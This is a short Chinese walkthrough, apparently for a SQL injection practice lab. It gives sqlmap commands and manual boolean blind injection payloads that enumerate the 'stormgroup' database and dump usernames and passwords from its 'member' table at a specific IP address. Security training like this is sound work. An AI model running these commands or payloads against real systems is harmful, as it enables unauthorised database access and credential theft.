一.sqlmap
1.查看库名
python sqlmap.py -u http://219.153.49.228:44485/new_list.php?id=1 --dbs
2.查看表名 python sqlmap.py -u http://219.153.49.228:44485/new_list.php?id=1 -D stormgroup --tables
3.查看字段名 python sqlmap.py -u http://219.153.49.228:44485/new_list.php?id=1 -D stormgroup -T member --columns
4.查看内容 python sqlmap.py -u http://219.153.49.228:44485/new_list.php?id=1 -D stormgroup -T member -C “name,password” --dump
二.手注
1.测试后发现数据库是4个字段
2.发现没有回显，使用布尔盲注
3.判断库的长度（通过测试后发现等于10） ?id=1 and (select length(database()))=10
4.确定库名 stormgroup（测试后发现第一个字母是s）id=1 and (select ascii(substr(database(),1,1)))=115
也可使用burpsuite爆破，同样可以知道第一个字母，为了方便，接着用bp爆破剩下的9个字母
第二个字母是t
o
r
m
g
r
o
u
p
5.接下来是判断表的数量（通过判断后表的数量为2） ?id=1 and (select count(*) from information_schema.tables where table_schema=database())=2
6.接下来还是bp爆破表的名称
id=1 and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=0
同样步骤，可以得出 101，109，98，101，114 表名为member
7.查字段名长度（测试后发现是4，8，6）
http://219.153.49.228:48841/new_list.php?id=1 and length((select column_name from information_schema.columns where table_name=‘member’ and table_schema=‘stormgroup’ limit 0,1))=0
8.查字段名 （name password status）
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=‘member’ and table_schema=‘stormgroup’ limit 0,1),1,1))=0
9.查字段内容
?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109
之后主要还是要靠大家慢慢注，可能比较费时间
